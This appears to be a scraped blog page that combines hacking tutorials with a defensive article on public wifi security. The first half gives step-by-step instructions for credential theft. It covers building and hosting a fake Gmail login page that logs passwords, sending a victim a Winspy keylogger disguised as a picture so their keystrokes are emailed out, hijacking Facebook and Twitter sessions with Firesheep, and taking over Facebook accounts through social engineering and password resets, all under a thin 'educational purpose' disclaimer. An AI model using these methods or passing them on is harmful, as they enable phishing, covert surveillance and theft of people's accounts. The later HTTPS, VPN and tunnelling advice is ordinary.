  • Launched applications list
  • Text snapshots of active applications.
  • Visited Internet URL logger
  • Capture HTTP POST data (including logins/passwords)

*****************************************************************************************************************************

  1. How to hack gmail account password :Phishing!

Installation Guide:

First of all Download:Gmail fake page

1.once you have downloded Gmail fake login page now extract contents in a folder

2.Now open login script(right click and then select edit) and find (CTRL+F) ‘rahulhackingarticles.wetpaint.com’ then change it to your to is the ‘http://www.google.com.pk’

3.Note:’http://www.google.com.pk’ is the redirection url,When victim will enter his/her email and password he will redirected to’http://www.google.com.pk’ instead of “rahulhackingarticles.wetpaint.com”
Now Save it .

4.Create an id in http://www.110mb.com,www.ripway.com or t35.com.(t35 is better,as ripway suspends suspicious accounts)

Note:Lots of people have complaint that they get banned from 110mb.ripway and t35.com so as an alternative you can use ooowebhost.

5.Once you have created an account on 110mb.com ,then upload both the files in the directory

6.Now distribute http://yoursite.110mb.com/fakegmailpage.htm to your victim* once victim logins through this page you will see something.txt file,download the fileto see the password inside

(Or use sites like dot.tk to create custom links,Like http://orkutfundoo.tk which is a phishing site)

*******************************************************************************************************************************
OR CREATE YOUR OWN FAKE PAGE
Step 1:-Open the website whose phishing page you want create.
Step 2:-Then right click any where on the page and select view source.
Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.
Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm
Step 5:- Open “ServiceLogin.htm” with notepad and the search for word “action”. [press ctrl+f to find the word]
Step 6:-You will find like this action=” https://www.google.com/accounts/ServiceLoginAuth ”
Step 7:-Replace the link between this red quote with the link you got by uploading the file hacking.php and it should
be like this action=” http://www.yourhostingcompany.com/username/hackingtech.php ”
Step 8:-Now Save this as serverlogin.htm

This will do same action

*******************************************************************************************************************************

How it works ?
When a user types a Username Password in the the text box,The info is sent to “login.php” which acts as a password logger and redirects the page to “LoginFrame2.htm” which shows “There has been a temporary error Please Try Again” in it .So when the person clicks on try again it redirects to the actual URL so that the victim does not know that yoursite is a fake site and gets his gmail.com password hacked
Cheers ! you can leave your comments if you have lost your way !

Keylogging – The easy way!

The easiest way to hack gmail is by using a keylogger(Spy Software). It doesn’t matter whether or not you have physical access to the target computer. To use a keylogger it doesn’t need any technical knowledge. Anyone with a basic knowledge of computers can use keyloggers.
I have posted an article on How to use sniperspy to hack password,Which will explain you more about keyloggers,Well there are many types of keyloggers used to hack password but in this article i will use Winspy keylogger to Hack gmail passwords

First of all free download Winspy keylogger software from internet – use keyword Download Winspy Keylogger

2. After downloading winspy keylogger to hack Gmail account password, run the application. On running, a dialog box will be prompted. Now, create an user-id and password on first run and hit apply password. Remember this password as it is required each time you start Winspy and even while uninstalling.

3. Now, another box will come, explaining you the hot keys(Ctrl + Shift + F12) to start the Winspy keylogger software.
Winspy keylogger to hack gmail account password

4. Now, on pressing hot keys, a login box will come asking userid and password. Enter them and click OK.
Winspy keylogger to hack gmail passwsord

5. Now, Winspy’s main screen will be displayed as shown in image below:

6. Select Remote at top, then Remote install.

7. On doing this, you will get a popup box as shown in image. Now, fill in the following information in this box.
hack gmail password

.user – type in the victim’s name

.file name – Name the file to be sent. Use the name such that victim will love to accept it.

.file icon – keep it the same

.picture – select the picture you want to apply to the keylogger.

In the textfield of “Email keylog to”, enter your email address. Hotmail accounts do not accept keylog files, so use another emailaccount id,my sugession is using a Gmail id
Thats it. This much is enough. If you want, can change other settings also.

8. After you have completed changing settings, click on “Create Remote file”. Now just add your picture to a winrar archive. Now, what you have to do is only send this keylog file to your victim. When victim will open this file, all keystrokes typed by victim will be sent to your email inbox. Thus, you will get all his passwords and thus will be able to hack his email accounts and even Gmail account password.

Note:
For educational purpose only
https://gettechedout.wordpress.com wont be responsible for any mischiefs done by the members
Our intention is to create knowledge and awareness among users
Phishing sites are suspended,and we are not responsible for damages caused while attempting phishing
Also phishing works only among ignorant users
Happy learning!

4 ways on How to hack facebook password

4 methods

1. Facebook Phishing
2. Keylogging
3. Social engineering
4. Primary email address hack

Facebook phishing:

I have taken this method first because i think this is the most popular method/way of hacking facebook. I studied various facebook surveys taken on web about hacking facebook. The results of these surveys show “Phishing” as the most used method to hack facebook and to note…”Phishing is favorite method of facebook hackers”. So, friends.. beware of facebook Phishing. Facebook staff is working hard to avoid these Facebook phishers. Phishing not only allows you to hack Facebook but also almost any email account. You have to only get the trick used to make a phisher, which i think is very easy. I learnt it without any difficulty. But, remember, this is only for educational purpose. I will not extend this topic over here as i have added more on Phishing in my article How to hack facebook password

Keylogging:

This is my second favorite, as only thing you have to do is remotely install a keylogger application (if you don’t have any physical access to victim computer). Keylogging becomes more easy if you have physical access to victim computer as only thing you have to do is install a keylogger and direct it to your destination so that it will send all recorded keystrokes to pointed destination. What a keylogger does is it records the keystrokes into a log file and then you can use these logs to get required Facebook password and thus can hack facebook password. I have posted detailed information of top keyloggers in the trade for more information see my password hacking softwares section

3. Social engineering:

This sounds to be pretty not working at beginning. Even I was neglecting this way. But, once, I thought of using it against my friend on Facebook and i got his Facebook password very easily by this method. I think many of you might be knowing how what this social engineering, For newbies, social engineering is method of retrieving password or answer of security question simply be quering with the victim. You have to be very careful while using this as victim must not be aware of your intention. Just ask him cautiously using your logic.

4.Primary email address hack

If Facebook hacker, by some means, hacks your gmail or yahoo account which you are using as primary email address, then this Facebook hacker can easily hack your Facebook password using “Forgot password” trick. He will simply ask Facebook to send password reset email to your primary email address- which is already hacked. Thus, your Facebook account password will be reset and it will be hacked !!!

So, always remember to protect your Facebook primary email address and try to keep unknown or useless mail id as your primary email address
So far, i found these Facebook hacking methods as best and working ways to hack facebook account passwords. I never encourage hacking Facebook or any email account,,I just wanna make you aware about Facebook dangers online. I will appreciate your effort if you mention any other Facebook hacking method.

Hack Facebook and Twitter Passwords through WifiThis is a featured page

Using Facebook or Twitter account while you are on a public network unsecured wifi is like giving invitation to hackers.Then this is the time that you should think about your account security.If you think that facebook or Twitter are secured websites then it’s the time to face the reality. they are not secured.Whenever you login into your facebook or twiiter account check the address bar of your browser you will see something likehttp://www.facebook.com/home.php?Similar is the case with twitter.They use http protocol instead of secured https protocol.But if you login into your gmail account you will notice that it uses https protocol.

So, the trick I am telling you works only on websites like facebook, twiiter, flickr but not on secured websites like Gmail. So here isTrick to Hack Facebook and Twitter Password on Wifiand also the method of protection from this hack.This trickdoesn’trequire any programmingknowledgeand everyone can use this trick easily.
1.Download firesheeFirefox extension.This is a freeware extension for firefox browser.

firesheep520x314 Firesheep:Trick to Hack Facebook and Twitter Password on Wifi
2. Once installed it will open a sidebar window into your firefox browser.
3.Now it will show all the people who are connected to unsecured wifi network.Once they login into your facebook or twitter account you will get a notification and with a single click you can login into their account.
This whole thing work on the technique of cookie hijacking.Once your session cookie is hacked then anybody can login into your account.These cookies can be easily caputered on unsecured wifi network.
The best way to protect yourself from such a hacking trick is to avoid using your facebook or twitter accounts on unsecured wifi networks as it is a security lapse from the websites not on your side.

Combat WiFi Security Risks When Connecting To A Public Network

As many people now know, connecting to a public, unsecured wireless network can have serious risks. It’s known that doing this can provide an opening for all manner of data theft, particularly passwords and private information.

The specifics of why an unsecure connection can be a problem is more obscure, however – as are the methods that can be used to beef up your security even when using an unsecured public hotspot. Let’s have a look at the exact WiFi security risks of public networks, and the solutions available to counter those risks.

Ah! My Airwaves!

security of wifi connections

The problem of unsecured wireless networks is a part of the way radios work. Unless specifically designed to do so, a radio won’t broadcast in any particular direction. It will send information across the airwaves in all directions.

As a result, anyone nearby can potentially pick up the data sent by a wireless radio, and if that data is unsecured, it can be read. WiFi security works by encrypting the data sent. It can still be picked up, but can’t be easily read because of the algorithm used to scramble it.

Most people understand this broad summary of the issue, but it’s actually a bit misleading, because it seems to imply that someone can simply open a notepad, connect to a public network, and watch passwords drop in. In truth, obtaining data even over a public WiFi network requires a certain level of knowledge about software such as WiFi scanners, and your average person simply doesn’t possess the necessary skills. Yes, there are tools like the FireSheep extension for Firefox that can hijack sessions easily in theory, but in practice some technical knowledge is usually required to do anything truly malicious.

HTTPS Security Is Your Friend

Attempts to read data can sometimes be thwarted by the first line of defense on a public WiFi network – site or service encryption. For example, when you type in and send your password across a network, it does not need to be, and ideally should not be, sent as “plain text”. It should instead be encrypted via HTTPS or SSL. The same goes for all potentially sensitive information.

security of wifi connections

Many sites will automatically switch to HTTPS when you visit a page that requires the exchange of potentially sensitive information. Some sites, like Google, Twitter and Facebook, give you the option to remain in HTTPS at all times. You can decrease your risk when using any public network by making sure that any site on which you are entering potentially sensitive information is secured. Usually this is as simple as watching for the “https” prefix on the URL. If you’re on a public network, and the site is not secured, then just wait until you’re home before entering any important information.

Use a VPN

security of wifi connections

Although HTTPS can be great, it does depend on the website’s implementation, which is something you have no control over. A poorly designed HTTPS site could have huge security holes – and it’s never wise to assume that a site has great security just because it’s popular.

A VPN is a great way to make public WiFi secure for your use 100% of the time. VPN stands for Virtual Private Network, and it’s a method of creating a secured connection even on a network that is public and unsecured. Instead of connecting directly to the Internet, you connect to a specific server, which is itself connected to the Internet. The connection between your device and the server is encrypted, so the information you send is protected even on unsecured WiFi.

There are quite a few different ways to set up a VPN, but the easiest is to use a free VPN service. Free use of a VPN is usually limited to a certain amount of traffic per day or month, after which you’ll have to pay for more bandwidth. The speed of your connection might also be handicapped unless you pay up.

Tunnel For Safety

laptop security using wifi

Another common method of creating a secure connection even on public WiFi is to use tunneling. Leave your shovel in the shed – this method is a server capable of SSH protocol.

Tunneling is the process of placing a packet sent via a specific network protocol inside another packet using a different network protocol. In the case of SSH tunneling, all packets are placed inside SSH packets, which are encrypted. The packets are then sent to the designated SSH server.

This method can also be used to work around attempts to block access to specific websites, which can be handy if you’re on a WiFi hotspot that’s trying to prevent you from accessing certain content without paying up. You can tunnel either by using a virtual server or by using your own server, which presumably would be left at home.

Conclusion

The best way to make sure your information isn’t obtained when using a public WiFi network is to not send any sensitive information over the network. This is not always practical, however, so the methods above can help provide extra security.

Of the three, relying on HTTPS is by far the worst, because only specific information will be encrypted and that information is designated by the site, rather than the user. Still, it’s better than nothing.

Let us know in the comments if you have any other good WiFi security tips for protecting yourself while on a public WiFi network.

0

Practice Labs at Hacking Cisco

Jarek Rek has been amassing an impressive collection of CCNP- and CCIE-level practice lab challenges on his blog at hackingcisco.blogspot.com. Over the past few months he has managed to post over a hundred labs complete with slick diagrams and solutions. This is a great resource for those looking to improve their Cisco routing skills.

hackingcisco.png

0

Website Powered by WordPress.com.

Up ↑